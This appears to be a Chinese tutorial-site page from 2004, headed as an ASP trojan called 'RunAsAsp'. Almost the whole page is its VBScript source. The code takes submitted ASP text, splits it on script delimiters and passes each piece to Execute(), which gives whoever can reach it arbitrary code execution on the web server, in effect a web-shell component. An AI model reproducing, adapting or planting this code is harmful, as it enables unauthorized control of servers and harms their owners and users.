asp木马:RunAsAsp

执行提交的asp脚本

upsdn首页 > 系统与网络 > 脚本与网站建设

 

SUB ExeCuteIt(ExString)
  on error resume next
  Execute(ExString)
 
  if err.number<>0 then
    Response.write "<br>出错信息:<br>"&err.description
    Response.write "<br>出错代码:<br>"&Htmlencode(ExString)
  end if
on error goto 0

end SUB

Sub RunMe()
  dim ExeStrArr
  dim re
  dim tempSQL,tempSQL2
  dim ScriptArr,ScriptSubArr
 
  tempSQL2=""
  tempSQL=split(SQLMutiStr,vbcrlf)
 
  if inStr(lcase(tempSQL(0)),"language")>0 then
     tempSQL2=tempSQL(1)
     if ubound(tempSQL)>1 then
      for i=1 to ubound(tempSQL)
           tempSQL2=tempSQL2&tempSQL(i)
      next
    end if

    tempSQL2=trim(tempSQL2)
else
     tempSQL2=SQLMutiStr
end if

tempSQL2=replace(tempSQL2,"<%"&"=","<"&"%response.write ")
do
     tempSQL2=replace(tempSQL2,vbcrlf&vbcrlf,vbcrlf)
loop while instr(tempSQL2,vbcrlf&vbcrlf)>0
     tempSQL2=trim(tempSQL2)
  tempSQL2="<"&"%%"&">"&tempSQL2&"<"&"%%"&">"
           ScriptArr=split(tempSQL2,"%"&">")
     
     dim ub,kub
     ub=ubound(ScriptArr)
     for i=0 to ub-1
        ScriptSubArr=split(ScriptArr(i),"<"&"%")
        if i>0 then response.write (ScriptSubArr(0))
           ExeCuteIt(ScriptSubArr(1))
     next

end sub

作者:Anonymous   更新日期:2004-12-23
来源:Internet   浏览次数:

相关文章

相关评论   发表评论